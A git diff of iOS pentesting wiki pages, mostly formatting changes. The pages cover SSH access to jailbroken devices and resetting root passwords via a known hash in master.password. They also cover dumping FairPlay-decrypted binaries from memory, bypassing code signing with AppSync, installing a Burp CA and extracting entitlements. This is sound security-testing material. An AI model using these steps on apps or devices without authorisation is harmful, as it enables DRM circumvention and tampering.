iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version +* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground) +* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) - diff --git a/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md b/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md index 3d25f8ec..88efe667 100644 --- a/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -6,42 +6,39 @@ Perform this actions having **connected** the device to the computer via **USB** and having the **device** **unlocked**. {% endhint %} -The UDID is a 40-digit unique sequence of letters and numbers to identify an iOS device. You can find the UDID of your iOS device on macOS Catalina onwards in the **Finder app**, as iTunes is not available anymore in Catalina. Just select the connected iOS device in Finder and **click on the information under the name of the iOS** device to iterate through it. Besides the UDID, you can find the serial number, IMEI and other useful information. +The UDID is a 40-digit unique sequence of letters and numbers to identify an iOS device. You can find the UDID of your iOS device on macOS Catalina onwards in the **Finder app**, as iTunes is not available anymore in Catalina. Just select the connected iOS device in Finder and** click on the information under the name of the iOS** device to iterate through it. Besides the UDID, you can find the serial number, IMEI and other useful information. -![](../../.gitbook/assets/image%20%28468%29.png) +![](<../../.gitbook/assets/image (471).png>) If you are using a macOS version before Catalina, you can find the [UDID of your iOS device via iTunes](http://www.iclarified.com/52179/how-to-find-your-iphones-udid), by selecting your device and clicking on "Serial Number" in the summary tab. When clicking on this you will iterate through different metadata of the iOS device including its UDID. It is also possible to get the UDID via various command line tools on macOS while the device is attached via USB: -* By using the [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html) tool `ioreg`: +* By using the [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html) tool `ioreg`: - ```bash - $ ioreg -p IOUSB -l | grep "USB Serial" - | "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec" - ``` + ```bash + $ ioreg -p IOUSB -l | grep "USB Serial" + | "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec" + ``` +* By using [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller) (also available on Linux): -* By using [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller) \(also available on Linux\): + ```bash + $ brew install ideviceinstaller + $ idevice_id -l + 316f01bd160932d2bf2f95f1f142bc29b1c62dbc + ``` +* By using the system_profiler: - ```bash - $ brew install ideviceinstaller - $ idevice_id -l - 316f01bd160932d2bf2f95f1f142bc29b1c62dbc - ``` + ```bash + $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:" + 2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be + Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1 + ``` +* By using instruments: -* By using the system\_profiler: - - ```bash - $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:" - 2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be - Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1 - ``` - -* By using instruments: - - ```bash - $ instruments -s devices - ``` + ```bash + $ instruments -s devices + ``` ## Accessing the Device Shell @@ -64,7 +61,7 @@ When accessing your iOS device via SSH consider the following: > Remember to change the default password for both users `root` and `mobile` as anyone on the same network can find the IP address of your device and connect via the well-known default password, which will give them root access to your device. -\*\*\*\* +**** ### **Connect to a Device via SSH over USB** @@ -92,7 +89,7 @@ iPhone:~ root# ### On-device Shell App -While usually using an **on-device shell** \(terminal emulator\) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose \(it supports iOS 6.0 to 12.1.2 at the time of this writing\). +While usually using an **on-device shell **(terminal emulator) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose (it supports iOS 6.0 to 12.1.2 at the time of this writing). In addition, there are a few jailbreaks that explicitly disable incoming SSH _for security reasons_. In those cases, it is very convenient to have an on-device shell app, which you can use to first SSH out of the device with a reverse shell, and then connect from your host computer to it. @@ -114,15 +111,14 @@ $ ssh -p 2222 root@localhost If you forget your password and want to reset it to the default `alpine`: -1. Edit the file `/private/etc/master.password` on your jailbroken iOS device \(using an on-device shell as shown below\) -2. Find the lines: +1. Edit the file `/private/etc/master.password` on your jailbroken iOS device (using an on-device shell as shown below) +2. Find the lines: - ```bash - root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh - mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh - ``` - -3. Change `xxxxxxxxx` to `/smx7MYTQIi2M` \(which is the hashed password `alpine`\) + ```bash + root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh + mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh + ``` +3. Change `xxxxxxxxx` to `/smx7MYTQIi2M` (which is the hashed password `alpine`) 4. Save and exit ## Data Transfer @@ -139,16 +135,16 @@ $ scp -P 2222 root@localhost:/tmp/data.tgz . ### Using iFunbox -\*\*\*\*[**iFunbox**](https://www.i-funbox.com/en/page-download.html) is a GUI application that can be used for several things \(uploading/downloading files among them\). +****[**iFunbox**](https://www.i-funbox.com/en/page-download.html) is a GUI application that can be used for several things (uploading/downloading files among them).\ Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexplorer). {% hint style="info" %} -Starting in iOS version 8.4, Apple has **restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken. +Starting in iOS version 8.4, Apple has** restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken. {% endhint %} ### Using Objection -When you are starting objection \(`objection --gadget com.apple.mobilesafari explorer`\) you will find the prompt within the Bundle directory. +When you are starting objection (`objection --gadget com.apple.mobilesafari explorer`) you will find the prompt within the Bundle directory. ```bash org.owasp.MSTG on (iPhone: 10.3.3) [usb] # pwd print @@ -178,9 +174,9 @@ You can also upload files to the iOS device with `file upload ` ### Getting the IPA File from an OTA Distribution Link -During development, apps are sometimes provided to testers via over-the-air \(OTA\) distribution. In that situation, you'll receive an itms-services link, such as the following: +During development, apps are sometimes provided to testers via over-the-air (OTA) distribution. In that situation, you'll receive an itms-services link, such as the following: -```text +``` itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist ``` @@ -198,26 +194,25 @@ Save the IPA file locally with the following command: ### Acquiring the App Binary -1. **From an IPA**: +1. **From an IPA**: - If you have the IPA \(probably including an already decrypted app binary\), unzip it and you are ready to go. The app binary is located in the main bundle directory \(.app\), e.g. `Payload/Telegram X.app/Telegram X`. See the following subsection for details on the extraction of the property lists. + If you have the IPA (probably including an already decrypted app binary), unzip it and you are ready to go. The app binary is located in the main bundle directory (.app), e.g. `Payload/Telegram X.app/Telegram X`. See the following subsection for details on the extraction of the property lists. - > On macOS's Finder, .app directories are opened by right-clicking them and selecting "Show Package Content". On the terminal you can just `cd` into them. + > On macOS's Finder, .app directories are opened by right-clicking them and selecting "Show Package Content". On the terminal you can just `cd` into them. +2. From a **Jailbroken device**: -2. From a **Jailbroken device**: + If you don't have the original IPA, then you need a jailbroken device where you will **install the app** (e.g. via App Store). Once installed, you need to **extract the app binary from memory and rebuild the IPA file**. Because of DRM, the app binary file is encrypted when it is stored on the iOS device, so simply pulling it from the Bundle (either through SSH or Objection) will not be sufficient to reverse engineer it (read next section). - If you don't have the original IPA, then you need a jailbroken device where you will **install the app** \(e.g. via App Store\). Once installed, you need to **extract the app binary from memory and rebuild the IPA file**. Because of DRM, the app binary file is encrypted when it is stored on the iOS device, so simply pulling it from the Bundle \(either through SSH or Objection\) will not be sufficient to reverse engineer it \(read next section\). +### Decryption (Manual) -### Decryption \(Manual\) - -Unlike an Android Application, the binary of an iOS app **can only be disassembled** and not decompiled. -When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using** [**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks. +Unlike an Android Application, the binary of an iOS app **can only be disassembled** and not decompiled.\ +When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using **[**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks. However, note that there are other **third party software that can be used to obfuscate** the resulting binaries. In order to run the encrypted binary, the device needs to decrypt it in memory. Then, it's possible to **dump the decrypted binary from the memory**. -First, check if the binary is compiled with the PIE \(Position Independent Code\) flag: +First, check if the binary is compiled with the PIE (Position Independent Code) flag: ```bash otool -Vh Original_App #Check the last word of the last line of this code @@ -259,10 +254,10 @@ otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO The value of **`cryptoff`** indicated the starting address of the encrypted content and the **`cryptsize`** indicates the size of the encrypted content. -So, the `start address` to dump will be `vmaddr + cryptoff` and the `end address` will be the `start address + cryptsize` -In this case: `start_address = 0x4000 + 0x4000 = 0x8000` __and `end_address = 0x8000 + 0x109c000 = 0x10a4000` +So, the `start address` to dump will be `vmaddr + cryptoff` and the `end address` will be the `start address + cryptsize`\ +In this case: `start_address = 0x4000 + 0x4000 = 0x8000`_ _and `end_address = 0x8000 + 0x109c000 = 0x10a4000` -With this information it's just necessary to run the application in the jailbroken device, attach to the process with gdb \(`gdb -p `\) and dump the memory: +With this information it's just necessary to run the application in the jailbroken device, attach to the process with gdb (`gdb -p `) and dump the memory: ```bash dump memory dump.bin 0x8000 0x10a4000 @@ -274,12 +269,12 @@ Congrats! You have decrypted the encrypted section in dump.bin. Now **transfer t dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App ``` -There is one more step to complete. The application is still **indicating** in its metadata that it's **encrypted**, but it **isn't**. Then, when executed, the device will try to decrypt the already decrypted section and it's going to fail. +There is one more step to complete. The application is still **indicating** in its metadata that it's **encrypted**, but it **isn't**. Then, when executed, the device will try to decrypt the already decrypted section and it's going to fail.\ However, you can use tools like [**MachOView**](https://sourceforge.net/projects/machoview/) to change this info. Just open the binary and set the **cryptid** to 0: -![](../../.gitbook/assets/image%20%28458%29.png) +![](<../../.gitbook/assets/image (470).png>) -### Decryption \(Automatically\) +### Decryption (Automatically) #### frida-ios-dump @@ -320,12 +315,12 @@ libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00 0.00B [00:00, ?B/s]Generating "Telegram.ipa" ``` -After this, the `Telegram.ipa` file will be created in your current directory. You can validate the success of the dump by removing the app and reinstalling it \(e.g. using [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`\). Note that this will only work on jailbroken devices, as otherwise the signature won't be valid. +After this, the `Telegram.ipa` file will be created in your current directory. You can validate the success of the dump by removing the app and reinstalling it (e.g. using [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`). Note that this will only work on jailbroken devices, as otherwise the signature won't be valid. #### flexdecrypt -In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) ****or a wrapper of the tool called ****[**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.** -In any case you will need to **install flexdecrypt in the device** running something like: +In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt)** **or a wrapper of the tool called** **[**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\ +****In any case you will need to **install flexdecrypt in the device** running something like: ```markup wget https://github.com/JohnCoates/flexdecrypt/releases/download/1.1/flexdecrypt.deb @@ -342,9 +337,15 @@ flexdump list #List apps flexdump dump Twitter.app #Create .ipa file from app ``` +#### r2flutch + +[**r2flutch**](https://github.com/as0ler/r2flutch) is a tool that uses **radare** and **frida** to **decrypt** and **dump ios apps>** + +See the **github** for more information. + ## Installing Apps -When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages. +When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with **[**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages. Different methods exist for installing an IPA package onto an iOS device, which are described in detail below. @@ -352,11 +353,11 @@ Different methods exist for installing an IPA package onto an iOS device, which #### Cydia Impactor -[Cydia Impactor](http://www.cydiaimpactor.com/) was originally created to jailbreak iPhones, but has been rewritten to sign and install IPA packages to iOS devices via sideloading \(and even APK files to Android devices\). Cydia Impactor is available for Windows, macOS and Linux. A [step by step guide and troubleshooting steps are available on yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/). +[Cydia Impactor](http://www.cydiaimpactor.com) was originally created to jailbreak iPhones, but has been rewritten to sign and install IPA packages to iOS devices via sideloading (and even APK files to Android devices). Cydia Impactor is available for Windows, macOS and Linux. A [step by step guide and troubleshooting steps are available on yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/). #### libimobiledevice -On Linux and also macOS, you can alternatively use [libimobiledevice](https://www.libimobiledevice.org/), a cross-platform software protocol library and a set of tools for native communication with iOS devices. This allows you to install apps over a USB connection by executing ideviceinstaller. The connection is implemented with the USB multiplexing daemon [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), which provides a TCP tunnel over USB. +On Linux and also macOS, you can alternatively use [libimobiledevice](https://www.libimobiledevice.org), a cross-platform software protocol library and a set of tools for native communication with iOS devices. This allows you to install apps over a USB connection by executing ideviceinstaller. The connection is implemented with the USB multiplexing daemon [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), which provides a TCP tunnel over USB. The package for libimobiledevice will be available in your Linux package manager. On macOS you can install libimobiledevice via brew: @@ -433,4 +434,3 @@ It is important to note that changing this value will break the original signatu This bypass might not work if the application requires capabilities that are specific to modern iPads while your iPhone or iPod is a bit older. Possible values for the property [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/uid/TP40009252-SW11) can be found in the Apple Developer documentation. - diff --git a/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md index 7671adca..8ec6abb7 100644 --- a/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,13 +2,13 @@ ## Burp Cert Installation in physical iOS -You can install [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **for help installing the Burp Certificate, configure the proxy and perform SSL Pinning.** -Or you can manually follow the next steps: +You can install [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)** for help installing the Burp Certificate, configure the proxy and perform SSL Pinning.**\ +****Or you can manually follow the next steps: -* Configure **Burp** as the iPhone **proxy in** _**Settings**_ **-->** _**Wifi**_ **-->** _**Click the network**_ **-->** _**Proxy**_ +* Configure **Burp** as the iPhone **proxy in **_**Settings**_** --> **_**Wifi**_** --> **_**Click the network**_** --> **_**Proxy**_ * Access `http://burp` and download the certificate -* Access _**Setting**_ --> _**Profile Downloaded**_ and **Install** it \(you will be asked your code\) -* Access _**Settings**_ --> _**General**_ --> _**About**_ --> _**Certificate Trust Settings**_ and enable PortSwigger CA +* Access _**Setting**_ --> _**Profile Downloaded**_ and **Install** it (you will be asked your code) +* Access _**Settings**_ --> _**General**_ --> _**About**_ --> _**Certificate Trust Settings**_ and enable PortSwigger CA ### Setting up an Interception Proxy via localhost @@ -33,12 +33,12 @@ The next step is to make a remote port forwarding of port 8080 on the iOS device ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` -You should now be able to reach Burp on your iOS device. Open Safari on iOS and go to **127.0.0.1:8080** and you should see the Burp Suite Page. This would also be a good time to [install the CA certificate](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) of Burp on your iOS device. +You should now be able to reach Burp on your iOS device. Open Safari on iOS and go to **127.0.0.1:8080 **and you should see the Burp Suite Page. This would also be a good time to [install the CA certificate](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) of Burp on your iOS device. The last step would be to set the proxy globally on your iOS device: -1. Go to **Settings** -> **Wi-Fi** -2. Connect to _any_ Wi-Fi \(you can literally connect to any Wi-Fi as the traffic for port 80 and 443 will be routed through USB, as we are just using the Proxy Setting for the Wi-Fi so we can set a global Proxy\) +1. Go to **Settings** -> **Wi-Fi** +2. Connect to _any_ Wi-Fi (you can literally connect to any Wi-Fi as the traffic for port 80 and 443 will be routed through USB, as we are just using the Proxy Setting for the Wi-Fi so we can set a global Proxy) 3. Once connected click on the small blue icon on the right side of the connect Wi-Fi 4. Configure your Proxy by selecting **Manual** 5. Type in 127.0.0.1 as **Server** @@ -46,7 +46,7 @@ The last step would be to set the proxy globally on your iOS device: ### Full Network Monitoring/Sniffing -If you need to **monitor something different from HTTP communications** you can sniff all the device traffic with **wireshark**. +If you need to **monitor something different from HTTP communications** you can sniff all the device traffic with **wireshark**.\ You can remotely sniff all traffic in real-time on iOS by [creating a Remote Virtual Interface](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) for your iOS device. First make sure you have **Wireshark** **installed** on your macOS host computer. 1. **Connect** your iOS device to your macOS host computer via USB. @@ -58,13 +58,13 @@ Starting device [SUCCEEDED] with interface rvi0 ``` 1. Launch **Wireshark** and select "**rvi0**" as the capture interface. -2. Filter the traffic with Capture Filters in Wireshark to display what you want to monitor \(for example, all HTTP traffic sent/received via the IP address 192.168.1.1\). +2. Filter the traffic with Capture Filters in Wireshark to display what you want to monitor (for example, all HTTP traffic sent/received via the IP address 192.168.1.1). -```text +``` ip.addr == 192.168.1.1 && http ``` -![](../../.gitbook/assets/image%20%28473%29.png) +![](<../../.gitbook/assets/image (472).png>) The documentation of Wireshark offers many examples for [Capture Filters](https://wiki.wireshark.org/CaptureFilters) that should help you to filter the traffic to get the information you want. @@ -72,15 +72,15 @@ The documentation of Wireshark offers many examples for [Capture Filters](https: * **Export Burp Certificate** -In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format_ +In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format_ -![](../../.gitbook/assets/image%20%28457%29.png) +![](<../../.gitbook/assets/image (459).png>) * **Drag and Drop** the certificate inside the Emulator -* **Inside the emulator** go to _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, and **verify the certificate** -* **Inside the emulator** go to _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, and **enable PortSwigger CA** +* **Inside the emulator** go to _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, and **verify the certificate** +* **Inside the emulator** go to _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, and **enable PortSwigger CA** -![](../../.gitbook/assets/image%20%28461%29.png) +![](<../../.gitbook/assets/image (460).png>) **Congrats, you have successfully configured the Burp CA Certificate in the iOS simulator** @@ -92,11 +92,10 @@ In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate i Steps to configure Burp as proxy: -* Go to _System Preferences_ --> _Network_ --> _Advanced_ -* In _Proxies_ tab mark _Web Proxy \(HTTP\)_ and _Secure Web Proxy \(HTTPS\)_ +* Go to _System Preferences _--> _Network_ --> _Advanced_ +* In _Proxies_ tab mark _Web Proxy (HTTP)_ and _Secure Web Proxy (HTTPS)_ * In both options configure _127.0.0.1:8080_ -![](../../.gitbook/assets/image%20%28462%29.png) +![](<../../.gitbook/assets/image (461).png>) * Click on _**Ok**_ and the in _**Apply**_ - diff --git a/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md index 0a89cc34..528942b8 100644 --- a/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md +++ b/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md @@ -1,14 +1,14 @@ # Extracting Entitlements From Compiled Application -**Page copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction\#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)\*\*\*\* +**Page copied form **[**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)**** -If you only have the app's IPA or simply the installed app on a jailbroken device, you normally won't be able to find `.entitlements` files. This could be also the case for the `embedded.mobileprovision` file. Still, you should be able to extract the entitlements property lists from the app binary yourself \(which you've previously obtained as explained in the "iOS Basic Security Testing" chapter, section "Acquiring the App Binary"\). +If you only have the app's IPA or simply the installed app on a jailbroken device, you normally won't be able to find `.entitlements` files. This could be also the case for the `embedded.mobileprovision` file. Still, you should be able to extract the entitlements property lists from the app binary yourself (which you've previously obtained as explained in the "iOS Basic Security Testing" chapter, section "Acquiring the App Binary"). -The following steps should work even when targeting an encrypted binary. If for some reason they don't, you'll have to decrypt and extract the app with e.g. Clutch \(if compatible with your iOS version\), frida-ios-dump or similar. +The following steps should work even when targeting an encrypted binary. If for some reason they don't, you'll have to decrypt and extract the app with e.g. Clutch (if compatible with your iOS version), frida-ios-dump or similar. **Extracting the Entitlements Plist from the App Binary** -If you have the app binary in your computer, one approach is to use binwalk to extract \(`-e`\) all XML files \(`-y=xml`\): +If you have the app binary in your computer, one approach is to use binwalk to extract (`-e`) all XML files (`-y=xml`): ```bash $ binwalk -e -y=xml ./Telegram\ X @@ -19,7 +19,7 @@ DECIMAL HEXADECIMAL DESCRIPTION 1458814 0x16427E XML document, version: "1.0" ``` -Or you can use radare2 \(`-qc` to _quietly_ run one command and exit\) to search all strings on the app binary \(`izz`\) containing "PropertyList" \(`~PropertyList`\): +Or you can use radare2 (`-qc` to _quietly_ run one command and exit) to search all strings on the app binary (`izz`) containing "PropertyList" (`~PropertyList`): ```bash $ r2 -qc 'izz~PropertyList' ./Telegram\ X @@ -34,11 +34,11 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X \n\tcdhashes... ``` -In both cases \(binwalk or radare2\) we were able to extract the same two `plist` files. If we inspect the first one \(0x0015d2a4\) we see that we were able to completely recover the [original entitlements file from Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements). +In both cases (binwalk or radare2) we were able to extract the same two `plist` files. If we inspect the first one (0x0015d2a4) we see that we were able to completely recover the [original entitlements file from Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements). -> Note: the `strings` command will not help here as it will not be able to find this information. Better use grep with the `-a` flag directly on the binary or use radare2 \(`izz`\)/rabin2 \(`-zz`\). +> Note: the `strings` command will not help here as it will not be able to find this information. Better use grep with the `-a` flag directly on the binary or use radare2 (`izz`)/rabin2 (`-zz`). -If you access the app binary on the jailbroken device \(e.g via SSH\), you can use grep with the `-a, --text` flag \(treats all files as ASCII text\): +If you access the app binary on the jailbroken device (e.g via SSH), you can use grep with the `-a, --text` flag (treats all files as ASCII text): ```bash $ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/ @@ -54,5 +54,4 @@ $ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/ Play with the `-A num, --after-context=num` flag to display more or less lines. You may use tools like the ones we presented above as well, if you have them also installed on your jailbroken iOS device. -> This method should work even if the app binary is still encrypted \(it was tested against several App Store apps\). - +> This method should work even if the app binary is still encrypted (it was tested against several App Store apps). diff --git a/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md index 2d16eb4c..88ff2b06 100644 --- a/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -2,9 +2,8 @@ ## Installing Frida -Go to **Cydia** app and add Frida’s repository by going to **Manage -> Sources -> Edit -> Add** and enter [**https://build.frida.re** ](https://build.frida.re/). It will add a new source in the source list. Go to the **frida** **source**, now you should **install** the **Frida** package. +Go to **Cydia** app and add Frida’s repository by going to **Manage -> Sources -> Edit -> Add **and enter [**https://build.frida.re **](https://build.frida.re). It will add a new source in the source list. Go to the **frida** **source**, now you should **install** the **Frida** package. -![](https://miro.medium.com/max/614/0*qSD26kBtgt_UIZk1.png) - -After installed, you can use in your PC the command `frida-ls-devices` and check that the device appears \(your PC needs to be able to access it\). +![](https://miro.medium.com/max/614/0\*qSD26kBtgt_UIZk1.png) +After installed, you can use in your PC the command `frida-ls-devices` and check that the device appears (your PC needs to be able to access it). diff --git a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md b/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md index 84afd9c0..be3a11c4 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md @@ -1,6 +1,6 @@ # iOS App Extensions -**Content copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction\#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)\*\*\*\* +**Content copied form **[**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)**** App extensions let apps offer custom functionality and content to users while they’re interacting with other apps or the system. Some notable ones are: @@ -8,37 +8,37 @@ App extensions let apps offer custom functionality and content to users while th * **Share**: post to a sharing website or share content with others. * **Today**: also called **widgets**, they offer content or perform quick tasks in the Today view of Notification Center. -For example, the user selects text in the _host app_, clicks on the "Share" button and selects one "app" or action from the list. This triggers the _app extension_ of the _containing app_. The app extension displays its view within the context of the host app and uses the items provided by the host app, the selected text in this case, to perform a specific task \(post it on a social network, for example\). See this picture from the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13) which pretty good summarizes this: +For example, the user selects text in the _host app_, clicks on the "Share" button and selects one "app" or action from the list. This triggers the _app extension_ of the _containing app_. The app extension displays its view within the context of the host app and uses the items provided by the host app, the selected text in this case, to perform a specific task (post it on a social network, for example). See this picture from the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13) which pretty good summarizes this: -![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media) +![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media) ### **Security Considerations** From the security point of view it is important to note that: -* An **app extension does never communicate directly with its containing app** \(typically, it isn’t even running while the contained app extension is running\). +* An **app extension does never communicate directly with 